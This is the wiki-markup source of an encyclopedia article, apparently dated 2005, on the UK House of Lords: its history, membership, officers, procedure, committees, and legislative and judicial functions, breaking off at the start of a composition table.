In addition to performing legislative functions, the House of Lords also holds judicial powers: it constitutes the highest court of appeal for most cases in the United Kingdom. The [[judicial functions of the House of Lords]] are not performed by the whole Chamber, but rather by a group of members with legal experience, who are known as &quot;Law Lords&quot;. The House of Lords is not the only [[supreme court|court of last resort]] in the United Kingdom; in some cases, that role is fulfilled by the [[Privy Council of the United Kingdom|Privy Council]].  The [[Constitutional Reform Act 2005]] will transfer the judicial functions of the Lords to a new [[Supreme Court of the United Kingdom]], but the provisions enacting the transfer have not yet been brought into force.

The full, formal style and title of the House of Lords is: ''The Right Honourable the Lords Spiritual and Temporal of the United Kingdom of Great Britain and Northern Ireland in Parliament assembled''. The House of Lords, like the House of Commons, meets in the [[Palace of Westminster]].

==History==
Parliament developed from the council that advised the King during mediæval times. This royal council came to be composed of ecclesiastics, noblemen, and representatives of the [[Traditional counties of the British Isles|counties]] (afterwards, representatives of the [[Parliamentary borough|boroughs]] as well). The first Parliament is often considered to be the &quot;Model Parliament&quot; (held in [[1295]]), which included archbishops, bishops, abbots, earls, barons, and representatives of the shires and boroughs. The power of Parliament grew slowly, fluctuating as the strength of the monarchy grew or declined. For example, during much of the reign of [[Edward II of England|Edward II]] ([[1307]]&amp;ndash;[[1327]]), the nobility was supreme, the Crown weak, and the shire and borough representatives entirely powerless. In [[1322]], the authority of Parliament was for the first time recognised not simply by custom or royal charter, but by an authoritative statute, passed by Parliament itself. Further developments occurred during the reign of Edward II's successor, [[Edward III of England|Edward III]]. Most importantly, it was during this King's reign that Parliament clearly separated into two distinct chambers: the House of Commons (consisting of the shire and borough representatives) and the House of Lords (consisting of the senior clergy and the nobility). The authority of Parliament continued to grow, and, during the early fifteenth century, both Houses exercised powers to an extent not seen before. The Lords were far more powerful than the Commons, due to the great influence of the aristocrats and prelates of the realm.

The power of the nobility suffered a relapse due to the civil wars of the late fifteenth century, known as the [[Wars of the Roses]]. Much of the nobility was either decimated on the battlefield or executed for participation in the war, and many aristocratic estates were lost to the Crown. Moreover, [[feudalism]] was dying, and the feudal armies controlled by the barons became obsolete. Hence, the Crown easily re-established its absolute supremacy in the realm. The domination of the Sovereign continued to grow during the reigns of the [[Tudor dynasty|Tudor monarchs]] in the 16th century. The Crown was at the height of its power during the reign of [[Henry VIII of England|Henry VIII]] ([[1509]]-[[1547]]).

The House of Lords remained more powerful than the House of Commons, but the Lower House did continue to grow in influence, reaching its zenith in relation to the House of Lords during the middle 17th century. Conflicts between the King and the Parliament (for the most part, the House of Commons) ultimately led to the [[English Civil War]] during the [[1640s]]. In [[1649]], after the defeat and execution of [[Charles I of England|King Charles I]], a republic (the [[Commonwealth of England]]) was declared, but the nation was effectively under the overall control of [[Oliver Cromwell]]. The House of Lords relapsed into a largely powerless body, with Cromwell and his supporters in the Commons dominating the Government. On [[19 March]] 1649, the House of Lords was abolished by an Act of Parliament, which declared that &quot;The Commons of England [find] by too long experience that the House of Lords is useless and dangerous to the people of England.&quot; The House of Lords did not assemble again until the [[Convention Parliament]] met in [[1660]] and the monarchy was restored. It returned to its former position as the more powerful chamber of Parliament&amp;mdash;a position it would occupy until the 19th century.
[[Image:House of Lords Microcosm edited.jpg|thumb|275px|The House of Lords in the early 19th century.]]
The 19th century was marked by several changes to the House of Lords. The House, once a body of only about 50 members, had been greatly enlarged by the liberality of [[George III of the United Kingdom|George III]] and his successors in creating peerages. The individual influence of a Lord of Parliament was thus diminished. Moreover, the power of the House as a whole experienced a decrease, whilst that of the House of Commons grew. Particularly notable in the development of the Lower House's superiority was the Reform Bill Crisis of [[1832]]. The electoral system of the House of Commons was not, at the time, democratic but antediluvian: property qualifications greatly restricted the size of the electorate, and the boundaries of many of the constituencies had not been changed for centuries. Entire cities such as [[Manchester]] were not represented by a single individual in the House of Commons, but the 11 voters of [[Old Sarum]] retained their ancient right to elect two Members of Parliament. A small borough was susceptible to bribery, and was often under the control of a patron, whose nominee was guaranteed to win an election. Some aristocrats were patrons of numerous &quot;[[rotten borough|pocket boroughs]]&quot;, and therefore controlled a considerable part of the membership of the House of Commons.

When, in [[1831]], the House of Commons passed a Reform Bill to correct some of these anomalies, the House of Lords rejected the proposal. The popular cause of reform, however, was not abandoned by the ministry, despite a second rejection of the bill in the Lords in 1832. The Prime Minister, [[Charles Grey, 2nd Earl Grey]], then advised the King to overwhelm the opposition to the bill in the House of Lords by creating about 80 new pro-Reform peers. [[William IV of the United Kingdom|William IV]] originally baulked at the proposal, which effectively threatened the opposition of the House of Lords, but at length relented. Before the new peers were created, however, the Lords who opposed the bill admitted defeat, and abstained from the vote, allowing the passage of the bill. The crisis damaged the political influence of the House of Lords, but did not altogether end it. Over the course of the century, however, the power of the Upper House experienced further erosion, and the Commons gradually became the stronger branch of Parliament.

[[Image:LloydGeorge.JPG|frame|right|The rejection of the [[People's Budget]], proposed by [[David Lloyd George]] (above), precipitated a political crisis in 1909.]]
The status of the House of Lords returned to the forefront after the election of a Liberal Government in [[1906]]. In [[1908]], the Government under [[Herbert Henry Asquith]] introduced a number of [[social welfare]] programmes, which, together with an expensive [[arms race]] with [[Germany]], had forced the Government to seek more funding in the form of tax increases. In [[1909]], the [[Chancellor of the Exchequer]], [[David Lloyd George]], introduced the &quot;[[People's Budget]]&quot;, which proposed a new tax targeting wealthy landowners. The unpopular measure, however, failed in the heavily Conservative House of Lords. Having made the powers of the House of Lords a primary campaign issue, the Liberals were re-elected in January [[1910]]. Asquith then proposed that the powers of the House of Lords be severely curtailed. Proceedings on the bill were briefly interrupted by the death of [[Edward VII of the United Kingdom|King Edward VII]], but were soon recommenced under the new monarch, [[George V of the United Kingdom|George V]]. After a General Election in December 1910, the Asquith Government secured the passage of a bill to curtail the powers of the House of Lords. The Prime Minister proposed, and the King agreed, that the House of Lords could be flooded by the creation of 500 new Liberal peers if it failed to pass the bill. (This was the same device used earlier to force the Upper House to consent to the passage of the Reform Act 1832.) The [[Parliament Act|Parliament Act 1911]] soon came into effect, destroying the House of Lords' power to reject most bills. Money Bills (bills that dealt solely with matters related to revenue and public expenditures, such as the Budget) could be delayed by the House of Lords for no more than one month, and most other bills for no more than three parliamentary sessions or two calendar years. The Parliament Act 1911 was not meant to be a permanent solution; rather, more comprehensive reforms were planned. Neither party, however, pursued the matter with much enthusiasm, and the House of Lords remained primarily hereditary. In [[1949]], the Parliament Act was slightly modified, so that the delaying power of the House of Lords with respect to most bills was reduced from three sessions or two years to two sessions or one year.

In [[1958]], the predominantly hereditary nature of the House of Lords was changed by the [[Life Peerages Act 1958]], which authorised the creation of life baronies, with no numerical limits. In [[1968]], the Labour Government of [[Harold Wilson]] attempted to reform the House of Lords by introducing a system under which hereditary peers would be allowed to remain in the House and take part in debate, but would be unable to vote. This plan, however, was defeated in the House of Commons by a combination of traditionalist Conservatives (such as [[Enoch Powell]]) and Labour members who advocated the outright abolition of the Upper House (such as [[Michael Foot]]). When Michael Foot attained the leadership of the Labour Party, abolition of the House of Lords became a part of the party's agenda; under [[Neil Kinnock]], however, a reformed Upper House was instead proposed. In the meantime, the creation of hereditary peerages (except for members of the Royal Family) has been arrested, with the exception of three creations during the administration of the Conservative [[Margaret Thatcher]] in the [[1980s]].

===Reform===
The Labour Party's return to power in [[1997]] under [[Tony Blair]] finally heralded the reform of the House of Lords. The Blair Government introduced legislation to remove all hereditary peers from the Upper House as the first step in Lords reform. As a part of a compromise, however, it agreed to permit 92 hereditary peers to remain until the reforms are complete. The hereditary peers were removed under the [[House of Lords Act 1999]] (see below for its provisions).

Since then however, reform has stalled. The [[Wakeham Commission]] proposed introducing a 20% elected element to the Lords, but this plan was widely criticised.  A [[Joint Committee]] was established in 2001 to resolve the issue, but it reached no conclusion and instead gave Parliament seven options to choose from (fully appointed, 20% elected, 40% elected, 50% elected, 60% elected, 80%, and fully elected). In a confusing series of votes in February [[2003]] all of these options were defeated although the 80% elected option fell by just three votes. MPs favouring outright abolition voted against all the options. Another proposal was put forward by a group of MPs, proposing a 70% elected house, with most of the remainder appointed by a Commission to ensure a mix of skills, knowledge and experience. This proposal also did not reach the statute book. New peers, therefore, are only created by appointment to the house.

The Labour Party now intends to introduce reform early in the next Parliament, although they are yet to state exactly what system they will be proposing. It is understood, however, that they may be inclined to support [[Billy Bragg]]'s [[Secondary Mandate]] system. The Conservative Party favour an eighty per cent elected Second Chamber, while the Liberal Democrats are calling for a fully elected [[Senate]]. [[Elect the Lords]] is a cross-party campaign initiative that was set up to make the case for a predominantly elected Second Chamber in the run up to the [[United Kingdom general election, 2005|2005 general election]]. The post-election [[Queen's Speech]] saw an announcement that the government &quot;will bring forward proposals to continue the reform of the House of Lords&quot; in the 2005/2006 legislative session.

''[[The Times]]'' reported on [[July 19]] [[2005]] that Labour Party proposals would see the House of Lords 80% elected and renamed the &quot;Second Chamber.&quot;

The [[Lord Chancellor]] [[Lord Falconer]] has announced plans  to develop a cross party consensus on House of Lords reform. A cross-party group of senior MPs ([[Ken Clarke]], [[Robin Cook]], [[Paul Tyler]], [[Tony Wright]] and [[George Young]]) published a report in 2005 proposing that 70% of members of the House of Lords should be elected by the [[single transferable vote]] system.

==Lords Spiritual==
Members of the House of Lords who sit by virtue of their ecclesiastical offices are known as Lords Spiritual. Formerly, the Lords Spiritual comprised a majority in the House of Lords, including the [[Church of England]]'s [[archbishop]]s, [[bishop|diocesan bishops]], [[abbot]]s, and [[priory|priors]]. After [[1539]], however, only the archbishops and bishops continued to attend, for the [[Dissolution of the Monasteries]] suppressed the positions of abbot and prior. In [[1642]], during the English Civil War, the Lords Spiritual were excluded altogether, but they returned under the [[Clergy Act 1661]]. The number of Lords Spiritual was further restricted by the [[Bishopric of Manchester Act 1847]], and by later acts. Now, there can be no more than 26 Lords Spiritual, always including the five most important prelates of the Church: the [[Archbishop of Canterbury]], the [[Archbishop of York]], the [[Bishop of London]], the [[Bishop of Durham]], and the [[Bishop of Winchester]]. Membership of the House of Lords also extends to the 21 longest-serving other diocesan bishops of the Church of England. 

The [[Church of Scotland]] is not represented by any Lords Spiritual; being a [[Presbyterianism|Presbyterian]] institution, it has no archbishops or bishops. The [[Church of Ireland]] did obtain representation in the House of Lords after the union of Ireland and Great Britain in 1801. Of the Church of Ireland's ecclesiastics, four (one archbishop and three bishops) were to sit at any one time, with the members rotating at the end of every parliamentary session (which normally lasted approximately one year). The Church of Ireland, however, was disestablished in [[1871]], and ceased to be represented by Lords Spiritual. The same is true for the [[Church in Wales]] which was disestablished in [[1920]]. The current Lords Spiritual, therefore, only represent the Church of England.

==Lords Temporal==
Since the [[Dissolution of the Monasteries]], the Lords Temporal have been the most numerous group in the House of Lords. Unlike the Lords Spiritual, they may be publicly partisan. Publicly non-partisan Lords are called [[cross-bencher]]s. Originally, the Lords Temporal included several hereditary peers (that is, those whose peerages may be inherited), who ranked variously as [[duke]]s, [[marquess]]es, [[earl]]s, [[viscount]]s, [[baron]]s, and [[Lord of Parliament|lords of Parliament]]. Such hereditary dignities are created by the Crown, in modern times on the advice of the Prime Minister of the day. Reforms enacted in 1999 (see above) caused several hundred hereditary peers to lose their seats in the House of Lords. The House of Lords Act 1999 provides that only 92 individuals may continue to sit in the Upper House by virtue of hereditary peerages. Two hereditary peers remain in the House of Lords because they hold hereditary offices connected with Parliament: the [[Earl Marshal#England|Earl Marshal]] and the [[Lord Great Chamberlain]]. Of the remaining 90 hereditary peers in the House of Lords, 15 are elected by the whole House. Seventy-five hereditary peers are chosen by fellow hereditaries in the House of Lords, grouped by party. The number of peers to be chosen by a party reflects the proportion of hereditary peers that belongs to that party (see [[#Current composition|current composition]] below). When an elected hereditary peer dies, a by-election is held, with a variant of the [[Alternative Vote]] system being used. If the recently deceased hereditary peer was elected by the whole House, then so is his or her replacement; a hereditary peer elected by a specific party is replaced by a vote of elected hereditary peers belonging to that party (whether elected as part of that party group or by the whole house).

The Lords Temporal also include the Lords of Appeal in Ordinary, a group of individuals appointed to the House of Lords so that they may exercise its judicial functions. Lords of Appeal in Ordinary, more commonly known as Law Lords, were first appointed under the [[Appellate Jurisdiction Act 1876]]. They are selected by the Prime Minister, but are formally appointed by the Sovereign. A Lord of Appeal in Ordinary must retire at the age of 70, or, if his or her term is extended by the Government, at the age of 75; after reaching such an age, the Law Lord cannot hear any further legal cases. The number of Lords of Appeal in Ordinary (excluding those who are no longer able to hear cases due to age restrictions) is limited to twelve, but may be changed by [[statutory instrument]]. Lords of Appeal in Ordinary traditionally do not participate in political debates, so as to maintain judicial independence. Lords of Appeal in Ordinary hold seats the House of Lords for life, remaining members even after reaching the retirement age of 70 or 75. Former Lord Chancellors and holders of other high judicial office may also sit as Law Lords under the Appellate Jurisdiction Act, although in practice this right is infrequently exercised. After the coming into force of the Constitutional Reform Act 2005, the Lords of Appeal in Ordinary will become judges of the Supreme Court of the United Kingdom and will be barred from sitting or voting until they retire as judges.

The largest group of Lords Temporal, and indeed of the whole House, are [[Life peer|life peers]]. Life peers with seats in the House of Lords rank only as barons or baronesses, and are created under the [[Life Peerages Act 1958]]. Like all other peers, life peers are created by the Sovereign, who acts on the advice of the Prime Minister. By convention, however, the Prime Minister allows leaders of other parties to select some life peers so as to maintain a political balance in the House of Lords. Moreover, some non-party life peers (the number being determined by the Prime Minister) are nominated by an independent House of Lords Appointments Commission. If an hereditary peer also holds a life peerage, he or she remains a member of the House of Lords without a need for an election. In [[2000]], the government announced it would set up an Independent Appointments Commission, under [[Lord Stevenson of Coddenham]], to select fifteen so-called &quot;People's Peers&quot; for life peerages. However, when the choices were announced in [[April 2001]], from a list of 3,000 applicants, the choices were treated with criticism in the media, as all were distinguished in their field, and none were &quot;ordinary people&quot; as some had originally hoped.

In many historical instances, some peers were not permitted to sit in the Upper House. When Scotland united with England to form Great Britain in 1707, it was provided that the Scottish hereditary peers would only be able to elect 16 representative peers to sit in the House of Lords; the term of a representative was to extend until the next general election. A similar provision was enacted in respect of Ireland when that kingdom merged with Great Britain in 1801; the Irish peers were allowed to elect 28 representatives, who were to retain office for life. Elections for Irish representatives ended in 1922, when most of Ireland became an independent state; elections for Scottish representatives ended with the passage of the [[Peerage Act 1963]], under which all Scottish peers obtained seats in the Upper House.

==Qualifications==
[[Image:Thatcher-robes.jpg|thumb|Former Prime Minister [[Margaret Thatcher]] is one of the more famous members of the House of Lords.]]
Several different qualifications apply for membership of the House of Lords. No person may sit in the House of Lords if under the age of 21. Furthermore, only [[Commonwealth of Nations|Commonwealth]] citizens and citizens of the [[Republic of Ireland]] may sit in the House of Lords. The nationality restrictions were previously more stringent: under the [[Act of Settlement 1701]], and prior to the [[British Nationality Act 1948]], only natural-born subjects were qualified.

Additionally, some bankruptcy-related restrictions apply to members of the Upper House. A person may not sit in the House of Lords if he or she is the subject of a Bankruptcy Restrictions Order (applicable in England and Wales only), or if he or she is adjudged bankrupt (in Northern Ireland), or if his or her estate is sequestered (in Scotland). A final restriction bars an individual convicted of [[high treason]] from sitting in the House of Lords until completing his or her full term of imprisonment. An exception applies, however, if the individual convicted of high treason receives a full pardon. Note that an individual serving a prison sentence for an offence other than high treason is ''not'' automatically disqualified.

Finally, some qualifications apply only in the case of the Lords of Appeal in Ordinary. No person may be created a Lord of Appeal in Ordinary unless he or she has either held &quot;high judicial office&quot; for two years, or has been a practising [[barrister]] for fifteen years. The term &quot;high judicial office&quot; encompasses membership of the [[Court of Appeal of England and Wales]], of the [[Court of Session|Inner House of the Court of Session]] (Scotland), or of the [[Court of Appeal in Northern Ireland]].

Women were excluded from the House of Lords until the Life Peerages Act, passed in [[1958]] to address the declining number of active members, facilitated the creation of peerages for life. Women were immediately eligible and four were among the first life peers appointed but hereditary peeresses, whose existence had long been a constitutional anomaly, continued to be excluded until the passage of the Peerage Act 1963. Since the passage of the House of Lords Act 1999, hereditary peeresses remain eligible for election to the Upper House and there are three among the 92 hereditaries who continue to sit. All women in the House of Lords are amongst the Lords Temporal; the Church of England does not presently permit the consecration of female bishops, though this issue is currently under consideration, with many observers expecting female bishops in the near future.

==Officers==
Unlike the House of Commons, the House of Lords does not elect its own Speaker; rather, the ''ex officio'' presiding officer is the [[Lord Chancellor]] ([[as of 2005]], [[Charlie Falconer, Baron Falconer of Thoroton|The Rt Hon. The Lord Falconer of Thoroton]]). The Lord Chancellor is not only the Speaker of the House of Lords, but also a member of the Cabinet; his or her department, formerly the Lord Chancellor's Department, is now called the [[Department for Constitutional Affairs]]. In addition, the Lord Chancellor is the head of the judiciary of England and Wales, serving as the President of the [[Courts of England and Wales|Supreme Court of England and Wales]]. Thus, the Lord Chancellor is a part of all three branches of Government: the legislative, the executive, and the judicial. In June [[2003]], the Blair Government announced its intention to abolish the post of Lord Chancellor, due to the office's mixed executive and judicial responsibilities. However, the abolition of the office was rejected by the House of Lords, and the [[Constitutional Reform Act 2005]] preserves the office of Lord Chancellor, though amended. The Act no longer guarantees that the office holder of Lord Chancellor is the presiding officer of the House of Lords and allows for the House of Lords to elect a [[Lord Speaker|Speaker]] of their own. For the time being however,  the Lord Chancellor will continue to act as the presiding officer, until at least the new rules of speakership are created.

[[Image:Lchancellor.jpg|frame|left|The Lord Chancellor wears black and gold robes whilst presiding over the House of Lords.]]
The Lord Chancellor may be replaced as presiding officer by one of his or her deputies. The Chairman of Committees, the Principal Deputy Chairman of Committees, and several Deputy Chairmen of Committees are all deputies to the Lord Chancellor, and are all appointed by the House of Lords itself. By custom, the Crown appoints each Chairman, Principal Deputy Chairman, or Deputy Chairman to the additional office of Deputy Speaker of the House of Lords. There is no legal requirement that the Lord Chancellor or a Deputy Speaker be a member of the House of Lords, though the same has long been customary. 

Whilst presiding over the House of Lords, the Lord Chancellor wears ceremonial black and gold robes. The Lord Chancellor or Deputy Speaker sits on the [[Woolsack]], a large red seat stuffed with [[wool]], at the front of the Lords Chamber. When the House of Lords resolves itself into committee (see below), the Chairman or a Deputy Chairman presides, not from the Woolsack, but from a chair at the Table of the House. The presiding officer has little power compared to the [[Speaker of the United Kingdom House of Commons|Speaker of the House of Commons]]. He or she only acts as the mouthpiece of the House, performing duties such as announcing the results of votes. The Lord Chancellor or Deputy Speaker cannot determine which members may speak, or discipline members for violating the rules of the House; these measures may be taken only by the House itself. Unlike the politically neutral Speaker of the House of Commons, the Lord Chancellor and Deputy Speakers remain members of their respective parties, and may participate in debate.

Another officer of the body is the [[Leader of the House of Lords]], a peer selected by the Prime Minister. The Leader of the House is responsible for steering Government bills through the House of Lords, and is a member of the Cabinet. The Leader also advises the House on proper procedure when necessary, but such advice is merely informal, rather than official and binding. A Deputy Leader is also appointed by the Prime Minister, and takes the place of an absent or unavailable Leader.

The [[Clerk of the Parliaments]] is the chief clerk and officer of the House of Lords (but is not a member of the House itself). The Clerk, who is appointed by the Crown, advises the presiding officer on the rules of the House, signs orders and official communications, endorses bills, and is the keeper of the official records of both Houses of Parliament. Moreover, the Clerk of the Parliaments is responsible for arranging by-elections of hereditary peers when necessary. The deputies of the Clerk of the Parliaments (the Clerk Assistant and the Reading Clerk) are appointed by the Lord Chancellor, subject to the House's approval. 

The [[Black Rod|Gentleman Usher of the Black Rod]] is also an officer of the House; he takes his title from the symbol of his office, a black rod. Black Rod (as the Gentleman Usher is normally known) is responsible for ceremonial arrangements, is in charge of the House's doorkeepers, and may (upon the order of the House) take action to end disorder or disturbance in the Chamber. Black Rod also holds the office of [[Serjeant-at-Arms]] of the House of Lords, and in this capacity attends upon the Lord Chancellor. The Gentleman Usher of the Black Rod's duties may be delegated to the Yeoman Usher of the Black Rod or to the Assistant Sergeant-at-Arms.

==Procedure==
[[Image:House of Lords Chamber.jpg|thumb|right|300px|Benches in the House of Lords Chamber are coloured red.]]
The House of Lords and the House of Commons assemble in the Palace of Westminster. The Lords Chamber is lavishly decorated, in contrast with the more modestly furnished Commons Chamber. Benches in the Lords Chamber are coloured red; thus, the House of Lords is sometimes referred to as the &quot;Red Chamber&quot;. The Woolsack is at the front of the Chamber; supporters of the Government sit on benches on the right of the Woolsack, whilst members of the Opposition sit on the left. Neutral members, known as [[Cross-bencher]]s, sit on the benches immediately opposite the Woolsack.

The Lords Chamber is the site of many formal ceremonies, the most famous of which is the [[State Opening of Parliament]], held at the beginning of each new parliamentary session. During the State Opening, the Sovereign, seated on the Throne in the Lords Chamber and in the presence of both Houses of Parliament, delivers a speech outlining the Government's agenda for the upcoming parliamentary session. 

In the House of Lords, members need not seek the recognition of the presiding officer before speaking, as is done in the House of Commons. If two or more Lords simultaneously rise to speak, the House decides which one is to be heard by acclamation, or, if necessary, by voting on a motion. Often, however, the Leader of the House will suggest an order, which is thereafter generally followed. Speeches in the House of Lords are addressed to the House as a whole (&quot;My Lords&quot;) rather than to the presiding officer alone (as is the custom in the Lower House). Members may not refer to each other in the second person (as &quot;you&quot;), but rather use third person forms such as &quot;the noble Duke&quot;, &quot;the noble Earl&quot;, &quot;the noble Lord&quot;, &quot;my noble friend&quot;, etc.  

Each member may make no more than one speech on a motion, except that the mover of the motion may make one speech at the beginning of the debate and another at the end. Speeches are not subject to any time limits in the House; however, the House may put an end to a speech by approving a motion &quot;that the noble Lord be no longer heard&quot;. It is also possible for the House to end the debate entirely, by approving a motion &quot;that the Question be now put&quot;. This procedure is known as [[cloture|Closure]], and is extremely rare. 

Once all speeches on a motion have concluded, or Closure invoked, the motion may be put to a vote. The House first votes by [[voice vote]]; the Lord Chancellor or Deputy Speaker puts the question, and the Lords respond either &quot;Content&quot; (in favour of the motion) or &quot;Not-Content&quot; (against the motion). The presiding officer then announces the result of the voice vote, but if his assessment is challenged by any Lord, a recorded vote known as a [[division (vote)|division]] follows. Members of the House enter one of two lobbies (the &quot;Content&quot; lobby or the &quot;Not-Content&quot; lobby) on either side of the Chamber, where their names are recorded by clerks. At each lobby are two Tellers (themselves members of the House) who count the votes of the Lords. The Lord Chancellor or Deputy Speaker may vote from the Woolsack. Once the division concludes, the Tellers provide the results thereof to the presiding officer, who then announces them to the House. If there is an equality of votes, the motion is decided according to the following principles: legislation may proceed in its present form, unless there is a majority in favour of amending or rejecting it; any other motions are rejected, unless there is a majority in favour of approving it. The [[quorum]] of the House of Lords is just three members for a general or procedural vote, and 30 members for a vote on legislation. If fewer than three or 30 members (as appropriate) are present, the division is invalid.

==Committees==
The Parliament of the United Kingdom uses committees for a variety of purposes; one common use is for the review of bills. Committees of both Houses consider bills in detail, and may make amendments. In the House of Lords, the committee most commonly used for the consideration of bills is the Committee of the Whole House, which, as its name suggests, includes all members of the House. The Committee meets in the Lords Chamber, and is presided over not by the Lord Chancellor, but by the Chairman of Committees or a Deputy Chairman. Different procedural rules apply in the Committee of the Whole House than in normal sessions of the Lords; in particular, members are allowed to make more than one speech each on a motion. Similar to the Committee of the Whole House are the Grand Committees, bodies in which any member of the House may participate. A Grand Committee does not meet in the Lords Chamber, but in a separate committee room. No divisions are held in Grand Committees, and any amendments to the bill require the unanimous consent of the body. Hence, the Grand Committee procedure is used only for uncontroversial bills. 

Bills may also be committed to Public Bill Committees, which consist of between twelve and sixteen members each. A Public Bill Committee is specifically constituted for a particular bill. A bill may also be referred to a Special Public Bill Committee, which, unlike the Public Bill Committee, has the power to hold hearings and collect evidence. These committees are used much less frequently than the Committee of the Whole House and Grand Committees. 

The House of Lords also has several Select Committees. The members of these committees are appointed by the House at the beginning of each session, and continue to serve until the next parliamentary session begins. The House of Lords may appoint a chairman for a committee; if it does not do so, the Chairman of Committees or a Deputy Chairman of Committees may preside instead. Most Select Committees are permanent, but the House may also establish ''ad hoc'' committees, which cease to exist upon the completion of a particular task (for instance, investigating the reform of the House of Lords). The primary function of Select Committees is to scrutinise and investigate Government activities; to fulfil these aims, they are permitted to hold hearings and collect evidence. Bills may be referred to Select Committees, but are more often sent to the Committee of the Whole House and Grand Committees.

The committee system of the House of Lords also includes several Domestic Committees, which supervise or consider the House's procedures and administration. One of the Domestic Committees is the Committee of Selection, which is responsible for assigning members to many of the House's other committees.

==Legislative functions==
[[Image:PalaceOfWestminsterAtNight.jpg|thumb|right|300px|The House of Lords meets in a lavishly decorated chamber in the Palace of Westminster (above).]]Most legislation may be introduced in either House, but, most commonly, is introduced in the House of Commons.
{{see|Act of Parliament}}

The power of the Lords to reject a bill passed by the House of Commons is severely restricted by the Parliament Acts. Under those Acts, certain types of bills may be presented for the [[Royal Assent]] without the consent of the House of Lords. The House of Lords cannot delay a money bill (a bill that, in the view of the Speaker of the House of Commons, solely concerns national taxation or public funds) for more than one month. Other public bills cannot be delayed by the House of Lords for more than two parliamentary sessions, or one calendar year. These provisions, however, only apply to public bills that originate in the House of Commons, and do not have the effect of extending a parliamentary term beyond five years. A further restriction is a [[constitutional convention (political custom)|constitutional convention]] known as the [[Salisbury Convention]], which means that the House of Lords does not seek to oppose legislation promised in the Government's election [[manifesto]].

By a custom that prevailed even before the Parliament Acts, the House of Lords is further restrained insofar as financial bills are concerned. The House of Lords may neither originate a bill concerning taxation or [[Supply]], nor amend a bill so as to insert a taxation or Supply-related provision. (The House of Commons, however, often waives its privileges and allows the Upper House to make amendments with financial implications.) Moreover, the Upper House may not amend any Supply Bill. The House of Lords formerly maintained the absolute power to reject a bill relating to revenue or Supply, but this power was curtailed by the Parliament Acts, as aforementioned. 

Hence, as the power of the House of Lords has been severely curtailed by statute and by practice, the House of Commons is clearly the more powerful chamber of Parliament.

==Judicial functions==
{{main|Judicial functions of the House of Lords}}

The judicial functions of the House of Lords originate from the ancient role of the Curia Regis as a body that addressed the petitions of the King's subjects. 

The judicial functions of the House of Lords are exercised not by the whole House, but by a group of &quot;Law Lords&quot;. The bulk of the House's judicial business is conducted by the twelve Lords of Appeal in Ordinary, who are specifically appointed for this purpose under the Appellate Jurisdiction Act. The judicial functions may also be exercised by Lords of Appeal (other members of the House who happen to have held high judicial office). No Lord of Appeal in Ordinary or Lord of Appeal may sit judicially beyond the age of seventy-five. The judicial business of the Lords is supervised by the Senior Lord of Appeal in Ordinary and his or her deputy, the Second Senior Lord of Appeal in Ordinary. 

The jurisdiction of the House of Lords extends, in civil and in criminal cases, to appeals from the courts of England and Wales, and of Northern Ireland. From Scotland, appeals are possible only in civil cases; Scotland's [[High Court of Justiciary]] is the highest court in criminal matters. The House of Lords is not the United Kingdom's only court of last resort; in some cases, the Privy Council performs such a function. The jurisdiction of the Privy Council in the United Kingdom, however, is narrower than that of the House of Lords; it encompasses appeals from ecclesiastical courts, issues related to [[devolution]], disputes under the [[House of Commons Disqualification Act 1975]], and a few other minor matters.

Not all Law Lords sit to hear cases; rather, since [[World War Two]] cases have been heard by panels known as Appellate Committees, each of which normally consists of five members (selected by the Senior Lord). An Appellate Committee hearing an important case may consist of even more members. Though Appellate Committees meet in separate committee rooms, judgement is given in the Lords Chamber itself. No further appeal lies from the House of Lords unless the matter concerns European Law or the [[European Convention on Human Rights]]. With European law an appeal can be made to the [[European Court of Justice]], with decisions due to its more purposive approach often differing from the House of Lords, who prefer a more literal approach to the legal system. Cases under the European Convention on Human Rights have a right of appeal to the [[European Court of Human Rights]].

A distinct judicial function&amp;mdash;one in which the whole House, rather than just the Law Lords, may participate&amp;mdash;is that of trying [[impeachment]]s. Impeachments are brought by the House of Commons, and are tried in the House of Lords; a conviction requires only a majority of the Lords voting. Impeachments, however, are essentially obsolete; the last impeachment was that of [[Henry Dundas, 1st Viscount Melville]] in [[1806]]. 

Similarly, the House of Lords was once the court that tried peers charged with high treason or felony. The House would be presided over not by the Lord Chancellor, but by the [[Lord High Steward]], an official especially appointed for the occasion of the trial. If Parliament was not in session, then peers could be tried in a separate court, known as the Lord High Steward's Court. Only peers, their wives, and their unremarried widows were entitled to trials in the House of Lords or the Lord High Steward's Court; the Lords Spiritual were tried in Ecclesiastical Courts. In [[1948]], the right of peers and peeresses to be tried in such special courts was abolished; now, they may be tried in the same courts as others.

The [[Constitutional Reform Act 2005]] will lead to the creation of a separate [[Supreme Court of the United Kingdom]], to which the judicial function of the House of Lords, and some of the judicial functions of the [[Judicial Committee of the Privy Council]], would be transferred. In addition, the office of Lord Chancellor will be reformed, to remove his ability to act as both a government minister and a judge. This is motivated in part by concerns that the historical admixture of legislative, judicial, and executive power, may not be in conformance with the requirements of the [[European Convention on Human Rights]] (a judicial officer having legislative or executive power not being likely to be considered sufficiently impartial to provide a fair trial), and in any case are considered undesirable according to modern constitutional theory concerning the separation of powers. The new Supreme Court will be located in [[Middlesex Guildhall]].

==Relationship with the Government==
Unlike the House of Commons, the House of Lords does not control the term of the Prime Minister or of the Government. Only the Lower House may force the Prime Minister to resign or call elections by passing a motion of no-confidence or by [[Loss of Supply|withdrawing supply]]. Thus, the House of Lords' oversight of the government is limited. 

Most Cabinet ministers are from the House of Commons, rather than the House of Lords. In particular, all Prime Ministers since [[1902]] have been members of the Lower House. ([[Alec Douglas-Home]], who became Prime Minister in [[1963]] whilst still an Earl, disclaimed his peerage and was elected to the Commons soon after his term began.) No major cabinet position (except [[Lord Chancellor]] and [[Leader of the House of Lords]]) has been filled by a peer since [[1982]]. However, the House of Lords does remain a source for junior ministers.

==Current composition==
''Source: [http://www.parliament.uk/directories/house_of_lords_information_office/analysis_by_composition.cfm House of Lord official figures]''
The House of Lords, as of [[January 9]], [[2005]]:
{| class=&quot;wikitable&quot;
|-
| align=&quot;center&quot; rowspan=&quot;2&quot; colspan=&quot;2&quot;|'''Affiliation'''
| align=&quot;center&quot; rowspan=&quot;2&quot;|'''Life Peers'''
| align=&quot;center&quot; colspan=&quot;3&quot;|'''Hereditary Peers'''
| align=&quot;center&quot; rowspan=&quot;2&quot;|'''Lords Spiritual'''
| align=&quot;center&quot; rowspan=&quot;2&quot;|'''Total'''
|-
| align=&quot;center&quot;|'''Elected by Party''' &amp;dagger;
| align=&quot;center&quot;|'''Elected by Whole House'''
| align=&quot;center&quot;|'''Royal Office-holders'''
|-
|{{British politics/party colours/Labour}}|&amp;nbsp;
